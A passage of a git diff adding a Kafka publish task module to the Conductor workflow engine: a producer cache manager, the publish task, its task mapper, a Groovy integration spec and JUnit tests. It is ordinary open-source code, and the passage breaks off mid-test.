+ notification.getValue().close(); + LOGGER.info("Closed producer for {}", notification.getKey()); + } + }; + + public KafkaProducerManager( + @Value("${conductor.tasks.kafka-publish.requestTimeout:100ms}") Duration requestTimeout, + @Value("${conductor.tasks.kafka-publish.maxBlock:500ms}") Duration maxBlock, + @Value("${conductor.tasks.kafka-publish.cacheSize:10}") int cacheSize, + @Value("${conductor.tasks.kafka-publish.cacheTime:120000ms}") Duration cacheTime) { + this.requestTimeoutConfig = String.valueOf(requestTimeout.toMillis()); + this.maxBlockMsConfig = String.valueOf(maxBlock.toMillis()); + this.kafkaProducerCache = + CacheBuilder.newBuilder() + .removalListener(LISTENER) + .maximumSize(cacheSize) + .expireAfterAccess(cacheTime.toMillis(), TimeUnit.MILLISECONDS) + .build(); + } + + public Producer getProducer(KafkaPublishTask.Input input) { + Properties configProperties = getProducerProperties(input); + return getFromCache(configProperties, () -> new KafkaProducer(configProperties)); + } + + @VisibleForTesting + Producer getFromCache(Properties configProperties, Callable createProducerCallable) { + try { + return kafkaProducerCache.get(configProperties, createProducerCallable); + } catch (ExecutionException e) { + throw new RuntimeException(e); + } + } + + @VisibleForTesting + Properties getProducerProperties(KafkaPublishTask.Input input) { + + Properties configProperties = new Properties(); + configProperties.put(ProducerConfig.BOOTSTRAP_SERVERS_CONFIG, input.getBootStrapServers()); + + configProperties.put(ProducerConfig.KEY_SERIALIZER_CLASS_CONFIG, input.getKeySerializer()); + + String requestTimeoutMs = requestTimeoutConfig; + + if (Objects.nonNull(input.getRequestTimeoutMs())) { + requestTimeoutMs = String.valueOf(input.getRequestTimeoutMs()); + } + + String maxBlockMs = maxBlockMsConfig; + + if (Objects.nonNull(input.getMaxBlockMs())) { + maxBlockMs = String.valueOf(input.getMaxBlockMs()); + } + + configProperties.put(ProducerConfig.REQUEST_TIMEOUT_MS_CONFIG, requestTimeoutMs); + configProperties.put(ProducerConfig.MAX_BLOCK_MS_CONFIG, maxBlockMs); + configProperties.put(ProducerConfig.VALUE_SERIALIZER_CLASS_CONFIG, STRING_SERIALIZER); + return configProperties; + } +} diff --git a/kafka/src/main/java/com/netflix/conductor/contribs/tasks/kafka/KafkaPublishTask.java b/kafka/src/main/java/com/netflix/conductor/contribs/tasks/kafka/KafkaPublishTask.java new file mode 100644 index 0000000..b446174 --- /dev/null +++ b/kafka/src/main/java/com/netflix/conductor/contribs/tasks/kafka/KafkaPublishTask.java @@ -0,0 +1,311 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.tasks.kafka; + +import java.time.Instant; +import java.util.HashMap; +import java.util.Map; +import java.util.Objects; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.Future; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.StringUtils; +import org.apache.kafka.clients.producer.Producer; +import org.apache.kafka.clients.producer.ProducerRecord; +import org.apache.kafka.clients.producer.RecordMetadata; +import org.apache.kafka.common.header.Header; +import org.apache.kafka.common.header.internals.RecordHeader; +import org.apache.kafka.common.serialization.IntegerSerializer; +import org.apache.kafka.common.serialization.LongSerializer; +import org.apache.kafka.common.serialization.StringSerializer; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.core.utils.Utils; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.annotations.VisibleForTesting; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_KAFKA_PUBLISH; + +@Component(TASK_TYPE_KAFKA_PUBLISH) +public class KafkaPublishTask extends WorkflowSystemTask { + + private static final Logger LOGGER = LoggerFactory.getLogger(KafkaPublishTask.class); + + static final String REQUEST_PARAMETER_NAME = "kafka_request"; + private static final String MISSING_REQUEST = + "Missing Kafka request. Task input MUST have a '" + + REQUEST_PARAMETER_NAME + + "' key with KafkaTask.Input as value. See documentation for KafkaTask for required input parameters"; + private static final String MISSING_BOOT_STRAP_SERVERS = "No boot strap servers specified"; + private static final String MISSING_KAFKA_TOPIC = + "Missing Kafka topic. See documentation for KafkaTask for required input parameters"; + private static final String MISSING_KAFKA_VALUE = + "Missing Kafka value. See documentation for KafkaTask for required input parameters"; + private static final String FAILED_TO_INVOKE = "Failed to invoke kafka task due to: "; + + private final ObjectMapper objectMapper; + private final String requestParameter; + private final KafkaProducerManager producerManager; + + public KafkaPublishTask(KafkaProducerManager clientManager, ObjectMapper objectMapper) { + super(TASK_TYPE_KAFKA_PUBLISH); + this.requestParameter = REQUEST_PARAMETER_NAME; + this.producerManager = clientManager; + this.objectMapper = objectMapper; + LOGGER.info("KafkaTask initialized."); + } + + @Override + public void start(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + + long taskStartMillis = Instant.now().toEpochMilli(); + task.setWorkerId(Utils.getServerId()); + Object request = task.getInputData().get(requestParameter); + + if (Objects.isNull(request)) { + markTaskAsFailed(task, MISSING_REQUEST); + return; + } + + Input input = objectMapper.convertValue(request, Input.class); + + if (StringUtils.isBlank(input.getBootStrapServers())) { + markTaskAsFailed(task, MISSING_BOOT_STRAP_SERVERS); + return; + } + + if (StringUtils.isBlank(input.getTopic())) { + markTaskAsFailed(task, MISSING_KAFKA_TOPIC); + return; + } + + if (Objects.isNull(input.getValue())) { + markTaskAsFailed(task, MISSING_KAFKA_VALUE); + return; + } + + try { + Future recordMetaDataFuture = kafkaPublish(input); + try { + recordMetaDataFuture.get(); + if (isAsyncComplete(task)) { + task.setStatus(TaskModel.Status.IN_PROGRESS); + } else { + task.setStatus(TaskModel.Status.COMPLETED); + } + long timeTakenToCompleteTask = Instant.now().toEpochMilli() - taskStartMillis; + LOGGER.debug("Published message {}, Time taken {}", input, timeTakenToCompleteTask); + + } catch (ExecutionException ec) { + LOGGER.error( + "Failed to invoke kafka task: {} - execution exception ", + task.getTaskId(), + ec); + markTaskAsFailed(task, FAILED_TO_INVOKE + ec.getMessage()); + } + } catch (Exception e) { + LOGGER.error( + "Failed to invoke kafka task:{} for input {} - unknown exception", + task.getTaskId(), + input, + e); + markTaskAsFailed(task, FAILED_TO_INVOKE + e.getMessage()); + } + } + + private void markTaskAsFailed(TaskModel task, String reasonForIncompletion) { + task.setReasonForIncompletion(reasonForIncompletion); + task.setStatus(TaskModel.Status.FAILED); + } + + /** + * @param input Kafka Request + * @return Future for execution. + */ + @SuppressWarnings({"unchecked", "rawtypes"}) + private Future kafkaPublish(Input input) throws Exception { + + long startPublishingEpochMillis = Instant.now().toEpochMilli(); + + Producer producer = producerManager.getProducer(input); + + long timeTakenToCreateProducer = Instant.now().toEpochMilli() - startPublishingEpochMillis; + + LOGGER.debug("Time taken getting producer {}", timeTakenToCreateProducer); + + Object key = getKey(input); + + Iterable

    headers = + input.getHeaders().entrySet().stream() + .map( + header -> + new RecordHeader( + header.getKey(), + String.valueOf(header.getValue()).getBytes())) + .collect(Collectors.toList()); + ProducerRecord rec = + new ProducerRecord( + input.getTopic(), + null, + null, + key, + objectMapper.writeValueAsString(input.getValue()), + headers); + + Future send = producer.send(rec); + + long timeTakenToPublish = Instant.now().toEpochMilli() - startPublishingEpochMillis; + + LOGGER.debug("Time taken publishing {}", timeTakenToPublish); + + return send; + } + + @VisibleForTesting + Object getKey(Input input) { + String keySerializer = input.getKeySerializer(); + + if (LongSerializer.class.getCanonicalName().equals(keySerializer)) { + return Long.parseLong(String.valueOf(input.getKey())); + } else if (IntegerSerializer.class.getCanonicalName().equals(keySerializer)) { + return Integer.parseInt(String.valueOf(input.getKey())); + } else { + return String.valueOf(input.getKey()); + } + } + + @Override + public boolean execute(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + return false; + } + + @Override + public void cancel(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + task.setStatus(TaskModel.Status.CANCELED); + } + + @Override + public boolean isAsync() { + return true; + } + + public static class Input { + + public static final String STRING_SERIALIZER = StringSerializer.class.getCanonicalName(); + private Map headers = new HashMap<>(); + private String bootStrapServers; + private Object key; + private Object value; + private Integer requestTimeoutMs; + private Integer maxBlockMs; + private String topic; + private String keySerializer = STRING_SERIALIZER; + + public Map getHeaders() { + return headers; + } + + public void setHeaders(Map headers) { + this.headers = headers; + } + + public String getBootStrapServers() { + return bootStrapServers; + } + + public void setBootStrapServers(String bootStrapServers) { + this.bootStrapServers = bootStrapServers; + } + + public Object getKey() { + return key; + } + + public void setKey(Object key) { + this.key = key; + } + + public Object getValue() { + return value; + } + + public void setValue(Object value) { + this.value = value; + } + + public Integer getRequestTimeoutMs() { + return requestTimeoutMs; + } + + public void setRequestTimeoutMs(Integer requestTimeoutMs) { + this.requestTimeoutMs = requestTimeoutMs; + } + + public String getTopic() { + return topic; + } + + public void setTopic(String topic) { + this.topic = topic; + } + + public String getKeySerializer() { + return keySerializer; + } + + public void setKeySerializer(String keySerializer) { + this.keySerializer = keySerializer; + } + + public Integer getMaxBlockMs() { + return maxBlockMs; + } + + public void setMaxBlockMs(Integer maxBlockMs) { + this.maxBlockMs = maxBlockMs; + } + + @Override + public String toString() { + return "Input{" + + "headers=" + + headers + + ", bootStrapServers='" + + bootStrapServers + + '\'' + + ", key=" + + key + + ", value=" + + value + + ", requestTimeoutMs=" + + requestTimeoutMs + + ", maxBlockMs=" + + maxBlockMs + + ", topic='" + + topic + + '\'' + + ", keySerializer='" + + keySerializer + + '\'' + + '}'; + } + } +} diff --git a/kafka/src/main/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapper.java b/kafka/src/main/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapper.java new file mode 100644 index 0000000..d68982a --- /dev/null +++ b/kafka/src/main/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapper.java @@ -0,0 +1,95 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.execution.mapper; + +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.Optional; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +@Component +public class KafkaPublishTaskMapper implements TaskMapper { + + public static final Logger LOGGER = LoggerFactory.getLogger(KafkaPublishTaskMapper.class); + + private final ParametersUtils parametersUtils; + private final MetadataDAO metadataDAO; + + public KafkaPublishTaskMapper(ParametersUtils parametersUtils, MetadataDAO metadataDAO) { + this.parametersUtils = parametersUtils; + this.metadataDAO = metadataDAO; + } + + @Override + public String getTaskType() { + return TaskType.KAFKA_PUBLISH.name(); + } + + /** + * This method maps a {@link WorkflowTask} of type {@link TaskType#KAFKA_PUBLISH} to a {@link + * TaskModel} in a {@link TaskModel.Status#SCHEDULED} state + * + * @param taskMapperContext: A wrapper class containing the {@link WorkflowTask}, {@link + * WorkflowDef}, {@link WorkflowModel} and a string representation of the TaskId + * @return a List with just one Kafka task + * @throws TerminateWorkflowException In case if the task definition does not exist + */ + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) + throws TerminateWorkflowException { + + LOGGER.debug("TaskMapperContext {} in KafkaPublishTaskMapper", taskMapperContext); + + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + WorkflowModel workflowModel = taskMapperContext.getWorkflowModel(); + String taskId = taskMapperContext.getTaskId(); + int retryCount = taskMapperContext.getRetryCount(); + + TaskDef taskDefinition = + Optional.ofNullable(taskMapperContext.getTaskDefinition()) + .orElseGet(() -> metadataDAO.getTaskDef(workflowTask.getName())); + + Map input = + parametersUtils.getTaskInputV2( + workflowTask.getInputParameters(), workflowModel, taskId, taskDefinition); + + TaskModel kafkaPublishTask = taskMapperContext.createTaskModel(); + kafkaPublishTask.setInputData(input); + kafkaPublishTask.setStatus(TaskModel.Status.SCHEDULED); + kafkaPublishTask.setRetryCount(retryCount); + kafkaPublishTask.setCallbackAfterSeconds(workflowTask.getStartDelay()); + if (Objects.nonNull(taskDefinition)) { + kafkaPublishTask.setExecutionNameSpace(taskDefinition.getExecutionNameSpace()); + kafkaPublishTask.setIsolationGroupId(taskDefinition.getIsolationGroupId()); + kafkaPublishTask.setRateLimitPerFrequency(taskDefinition.getRateLimitPerFrequency()); + kafkaPublishTask.setRateLimitFrequencyInSeconds( + taskDefinition.getRateLimitFrequencyInSeconds()); + } + return Collections.singletonList(kafkaPublishTask); + } +} diff --git a/kafka/src/test/groovy/com/netflix/conductor/test/integration/KafkaPublishTaskSpec.groovy b/kafka/src/test/groovy/com/netflix/conductor/test/integration/KafkaPublishTaskSpec.groovy new file mode 100644 index 0000000..bd8f7ff --- /dev/null +++ b/kafka/src/test/groovy/com/netflix/conductor/test/integration/KafkaPublishTaskSpec.groovy @@ -0,0 +1,174 @@ +/* + * Copyright 2023 Conductor authors + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration + +import com.fasterxml.jackson.databind.ObjectMapper +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.tasks.TaskResult +import com.netflix.conductor.common.metadata.tasks.TaskType +import com.netflix.conductor.common.metadata.workflow.WorkflowDef +import com.netflix.conductor.common.metadata.workflow.WorkflowTask +import com.netflix.conductor.common.run.Workflow +import com.netflix.conductor.test.base.AbstractSpecification +import org.springframework.beans.factory.annotation.Autowired +import spock.lang.Shared + +class KafkaPublishTaskSpec extends AbstractSpecification { + + @Autowired + ObjectMapper objectMapper + + @Shared + def isWorkflowRegistered = false + + def kafkaInput = ['requestDetails': ['key1': 'value1', 'key2': 42], + 'path1' : 'file://path1', + 'path2' : 'file://path2', + 'outputPath' : 's3://bucket/outputPath' + ] + + def expectedTaskInput = "{\"kafka_request\":{\"topic\":\"test_kafka_topic\",\"bootStrapServers\":\"localhost:9092\",\"value\":{\"requestDetails\":{\"key1\":\"value1\",\"key2\":42},\"outputPath\":\"s3://bucket/outputPath\",\"inputPaths\":[\"file://path1\",\"file://path2\"]}}}" + + def setup() { + if (!isWorkflowRegistered) { + registerKafkaWorkflow() + isWorkflowRegistered = true + } + } + + def "Test the kafka template usage failure case"() { + + given: "Start a workflow based on the registered workflow" + def workflowInstanceId = workflowService.startWorkflow("template_kafka_workflow", 1, + "testTaskDefTemplate", 0, kafkaInput) + + and: "Get the workflow based on the Id that is being executed" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def task = workflow.tasks.get(0) + def taskInput = task.inputData + + when: "Ensure that the task is pollable and fail the task" + def polledTask = workflowExecutionService.poll('KAFKA_PUBLISH', 'test') + workflowExecutionService.ackTaskReceived(polledTask.taskId) + def taskResult = new TaskResult(polledTask) + taskResult.status = TaskResult.Status.FAILED + taskResult.reasonForIncompletion = 'NON TRANSIENT ERROR OCCURRED: An integration point required to complete the task is down' + taskResult.addOutputData("TERMINAL_ERROR", "Integration endpoint down: FOOBAR") + taskResult.addOutputData("ErrorMessage", "There was a terminal error") + workflowExecutionService.updateTask(taskResult) + + and: "Then run a decide to move the workflow forward" + workflowExecutor.decide(workflowInstanceId) + + and: "Get the updated workflow after the task result has been updated" + def updatedWorkflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + + then: "Check that the workflow is created and is not terminal" + workflowInstanceId + workflow + !workflow.getStatus().isTerminal() + !workflow.getReasonForIncompletion() + + and: "Check if the input of the next task to be polled is as expected for a kafka task" + taskInput + taskInput.containsKey('kafka_request') + taskInput['kafka_request'] instanceof Map + objectMapper.writeValueAsString(taskInput) == expectedTaskInput + + and: "Polled task is not null and the workflowInstanceId of the task is same as the workflow created initially" + polledTask + polledTask.workflowInstanceId == workflowInstanceId + + and: "The updated workflow is in a failed state" + updatedWorkflow + updatedWorkflow.status == Workflow.WorkflowStatus.FAILED + } + + def "Test the kafka template usage success case"() { + + given: "Start a workflow based on the registered kafka workflow" + def workflowInstanceId = workflowService.startWorkflow("template_kafka_workflow", 1, + "testTaskDefTemplate", 0, kafkaInput) + + and: "Get the workflow based on the Id that is being executed" + def workflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + def task = workflow.tasks.get(0) + def taskInput = task.inputData + + when: "Ensure that the task is pollable and complete the task" + def polledTask = workflowExecutionService.poll('KAFKA_PUBLISH', 'test') + workflowExecutionService.ackTaskReceived(polledTask.taskId) + def taskResult = new TaskResult(polledTask) + taskResult.setStatus(TaskResult.Status.COMPLETED) + workflowExecutionService.updateTask(taskResult) + + and: "Then run a decide to move the workflow forward" + workflowExecutor.decide(workflowInstanceId) + + and: "Get the updated workflow after the task result has been updated" + def updatedWorkflow = workflowExecutionService.getExecutionStatus(workflowInstanceId, true) + + then: "Check that the workflow is created and is not terminal" + workflowInstanceId + workflow + !workflow.getStatus().isTerminal() + !workflow.getReasonForIncompletion() + + and: "Check if the input of the next task to be polled is as expected for a kafka task" + taskInput + taskInput.containsKey('kafka_request') + taskInput['kafka_request'] instanceof Map + objectMapper.writeValueAsString(taskInput) == expectedTaskInput + + and: "Polled task is not null and the workflowInstanceId of the task is same as the workflow created initially" + polledTask + polledTask.workflowInstanceId == workflowInstanceId + + and: "The updated workflow is complete" + updatedWorkflow + updatedWorkflow.status == Workflow.WorkflowStatus.COMPLETED + + } + + def registerKafkaWorkflow() { + System.setProperty("STACK_KAFKA", "test_kafka_topic") + TaskDef templatedTask = new TaskDef() + templatedTask.name = "templated_kafka_task" + templatedTask.retryCount = 0 + templatedTask.ownerEmail = "test@harness.com" + + def kafkaRequest = new HashMap<>() + kafkaRequest["topic"] = '${STACK_KAFKA}' + kafkaRequest["bootStrapServers"] = "localhost:9092" + + def value = new HashMap<>() + value["inputPaths"] = ['${workflow.input.path1}', '${workflow.input.path2}'] + value["requestDetails"] = '${workflow.input.requestDetails}' + value["outputPath"] = '${workflow.input.outputPath}' + kafkaRequest["value"] = value + + templatedTask.inputTemplate["kafka_request"] = kafkaRequest + metadataService.registerTaskDef([templatedTask]) + + WorkflowDef templateWf = new WorkflowDef() + templateWf.name = "template_kafka_workflow" + WorkflowTask wft = new WorkflowTask() + wft.name = templatedTask.name + wft.workflowTaskType = TaskType.KAFKA_PUBLISH + wft.taskReferenceName = "t0" + templateWf.tasks.add(wft) + templateWf.schemaVersion = 2 + templateWf.ownerEmail = "test@harness.com" + metadataService.registerWorkflowDef(templateWf) + } +} diff --git a/kafka/src/test/java/com/netflix/conductor/contribs/tasks/kafka/KafkaProducerManagerTest.java b/kafka/src/test/java/com/netflix/conductor/contribs/tasks/kafka/KafkaProducerManagerTest.java new file mode 100644 index 0000000..eea69fd --- /dev/null +++ b/kafka/src/test/java/com/netflix/conductor/contribs/tasks/kafka/KafkaProducerManagerTest.java @@ -0,0 +1,135 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.tasks.kafka; + +import java.time.Duration; +import java.util.Properties; + +import org.apache.kafka.clients.producer.Producer; +import org.apache.kafka.clients.producer.ProducerConfig; +import org.apache.kafka.common.serialization.LongSerializer; +import org.junit.Test; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotNull; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; + +public class KafkaProducerManagerTest { + + @Test + public void testRequestTimeoutSetFromDefault() { + KafkaProducerManager manager = + new KafkaProducerManager( + Duration.ofMillis(100), + Duration.ofMillis(500), + 10, + Duration.ofMillis(120000)); + KafkaPublishTask.Input input = getInput(); + Properties props = manager.getProducerProperties(input); + assertEquals(props.getProperty(ProducerConfig.REQUEST_TIMEOUT_MS_CONFIG), "100"); + } + + @Test + public void testRequestTimeoutSetFromInput() { + KafkaProducerManager manager = + new KafkaProducerManager( + Duration.ofMillis(100), + Duration.ofMillis(500), + 10, + Duration.ofMillis(120000)); + KafkaPublishTask.Input input = getInput(); + input.setRequestTimeoutMs(200); + Properties props = manager.getProducerProperties(input); + assertEquals(props.getProperty(ProducerConfig.REQUEST_TIMEOUT_MS_CONFIG), "200"); + } + + @Test + public void testRequestTimeoutSetFromConfig() { + KafkaProducerManager manager = + new KafkaProducerManager( + Duration.ofMillis(150), + Duration.ofMillis(500), + 10, + Duration.ofMillis(120000)); + KafkaPublishTask.Input input = getInput(); + Properties props = manager.getProducerProperties(input); + assertEquals(props.getProperty(ProducerConfig.REQUEST_TIMEOUT_MS_CONFIG), "150"); + } + + @SuppressWarnings("rawtypes") + @Test(expected = RuntimeException.class) + public void testExecutionException() { + KafkaProducerManager manager = + new KafkaProducerManager( + Duration.ofMillis(150), + Duration.ofMillis(500), + 10, + Duration.ofMillis(120000)); + KafkaPublishTask.Input input = getInput(); + Producer producer = manager.getProducer(input); + assertNotNull(producer); + } + + @SuppressWarnings("rawtypes") + @Test + public void testCacheInvalidation() { + KafkaProducerManager manager = + new KafkaProducerManager( + Duration.ofMillis(150), Duration.ofMillis(500), 0, Duration.ofMillis(0)); + KafkaPublishTask.Input input = getInput(); + input.setBootStrapServers(""); + Properties props = manager.getProducerProperties(input); + Producer producerMock = mock(Producer.class); + Producer producer = manager.getFromCache(props, () -> producerMock); + assertNotNull(producer); + verify(producerMock, times(1)).close(); + } + + @Test + public void testMaxBlockMsFromConfig() { + KafkaProducerManager manager = + new KafkaProducerManager( + Duration.ofMillis(150), + Duration.ofMillis(500), + 10, + Duration.ofMillis(120000)); + KafkaPublishTask.Input input = getInput(); + Properties props = manager.getProducerProperties(input); + assertEquals(props.getProperty(ProducerConfig.MAX_BLOCK_MS_CONFIG), "500"); + } + + @Test + public void testMaxBlockMsFromInput() { + KafkaProducerManager manager = + new KafkaProducerManager( + Duration.ofMillis(150), + Duration.ofMillis(500), + 10, + Duration.ofMillis(120000)); + KafkaPublishTask.Input input = getInput(); + input.setMaxBlockMs(600); + Properties props = manager.getProducerProperties(input); + assertEquals(props.getProperty(ProducerConfig.MAX_BLOCK_MS_CONFIG), "600"); + } + + private KafkaPublishTask.Input getInput() { + KafkaPublishTask.Input input = new KafkaPublishTask.Input(); + input.setTopic("testTopic"); + input.setValue("TestMessage"); + input.setKeySerializer(LongSerializer.class.getCanonicalName()); + input.setBootStrapServers("servers"); + return input; + } +} diff --git a/kafka/src/test/java/com/netflix/conductor/contribs/tasks/kafka/KafkaPublishTaskTest.java b/kafka/src/test/java/com/netflix/conductor/contribs/tasks/kafka/KafkaPublishTaskTest.java new file mode 100644 index 0000000..b1360c4 --- /dev/null +++ b/kafka/src/test/java/com/netflix/conductor/contribs/tasks/kafka/KafkaPublishTaskTest.java @@ -0,0 +1,223 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.contribs.tasks.kafka; + +import java.time.Duration; +import java.util.HashMap; +import java.util.Map; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.Future; + +import org.apache.kafka.clients.producer.Producer; +import org.apache.kafka.common.serialization.IntegerSerializer; +import org.apache.kafka.common.serialization.LongSerializer; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.assertEquals; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +@SuppressWarnings({"unchecked", "rawtypes"}) +@ContextConfiguration(classes = {TestObjectMapperConfiguration.class}) +@RunWith(SpringRunner.class) +public class KafkaPublishTaskTest { + + @Autowired private ObjectMapper objectMapper; + + @Test + public void missingRequest_Fail() { + KafkaPublishTask kafkaPublishTask = + new KafkaPublishTask(getKafkaProducerManager(), objectMapper); + TaskModel task = new TaskModel(); + kafkaPublishTask.start(mock(WorkflowModel.class), task, mock(WorkflowExecutor.class)); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + } + + @Test + public void missingValue_Fail() { + + TaskModel task = new TaskModel(); + KafkaPublishTask.Input input = new KafkaPublishTask.Input(); + input.setBootStrapServers("localhost:9092"); + input.setTopic("testTopic"); + + task.getInputData().put(KafkaPublishTask.REQUEST_PARAMETER_NAME, input); + + KafkaPublishTask kPublishTask = + new KafkaPublishTask(getKafkaProducerManager(), objectMapper); + kPublishTask.start(mock(WorkflowModel.class), task, mock(WorkflowExecutor.class)); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + } + + @Test + public void missingBootStrapServers_Fail() { + + TaskModel task = new TaskModel(); + KafkaPublishTask.Input input = new KafkaPublishTask.Input(); + + Map value = new HashMap<>(); + input.setValue(value); + input.setTopic("testTopic"); + + task.getInputData().put(KafkaPublishTask.REQUEST_PARAMETER_NAME, input); + + KafkaPublishTask kPublishTask = + new KafkaPublishTask(getKafkaProducerManager(), objectMapper); + kPublishTask.start(mock(WorkflowModel.class), task, mock(WorkflowExecutor.class)); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + } + + @Test + public void kafkaPublishExecutionException_Fail() + throws ExecutionException, InterruptedException { + + TaskModel task = getTask(); + + KafkaProducerManager producerManager = mock(KafkaProducerManager.class); + KafkaPublishTask kafkaPublishTask = new KafkaPublishTask(producerManager, objectMapper); + + Producer producer = mock(Producer.class); + + when(producerManager.getProducer(any())).thenReturn(producer); + Future publishingFuture = mock(Future.class); + when(producer.send(any())).thenReturn(publishingFuture); + + ExecutionException executionException = mock(ExecutionException.class); + + when(executionException.getMessage()).thenReturn("Execution exception"); + when(publishingFuture.get()).thenThrow(executionException); + + kafkaPublishTask.start(mock(WorkflowModel.class), task, mock(WorkflowExecutor.class)); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + assertEquals( + "Failed to invoke kafka task due to: Execution exception", + task.getReasonForIncompletion()); + } + + @Test + public void kafkaPublishUnknownException_Fail() { + + TaskModel task = getTask(); + + KafkaProducerManager producerManager = mock(KafkaProducerManager.class); + KafkaPublishTask kPublishTask = new KafkaPublishTask(producerManager, objectMapper); + + Producer producer = mock(Producer.class); + + when(producerManager.getProducer(any())).thenReturn(producer); + when(producer.send(any())).thenThrow(new RuntimeException("Unknown exception")); + + kPublishTask.start(mock(WorkflowModel.class), task, mock(WorkflowExecutor.class)); + assertEquals(TaskModel.Status.FAILED, task.getStatus()); + assertEquals( + "Failed to invoke kafka task due to: Unknown exception", + task.getReasonForIncompletion()); + } + + @Test + public void kafkaPublishSuccess_Completed() { + + TaskModel task = getTask(); + + KafkaProducerManager producerManager = mock(KafkaProducerManager.class); + KafkaPublishTask kPublishTask = new KafkaPublishTask(producerManager, objectMapper); + + Producer producer = mock(Producer.class); + + when(producerManager.getProducer(any())).thenReturn(producer); + when(producer.send(any())).thenReturn(mock(Future.class)); + + kPublishTask.start(mock(WorkflowModel.class), task, mock(WorkflowExecutor.class)); + assertEquals(TaskModel.Status.COMPLETED, task.getStatus()); + } + + @Test + public void kafkaPublishSuccess_AsyncComplete() { + + TaskModel task = getTask(); + task.getInputData().put("asyncComplete", true); + + KafkaProducerManager producerManager = mock(KafkaProducerManager.class); + KafkaPublishTask kPublishTask = new KafkaPublishTask(producerManager, objectMapper); + + Producer producer = mock(Producer.class); + + when(producerManager.getProducer(any())).thenReturn(producer); + 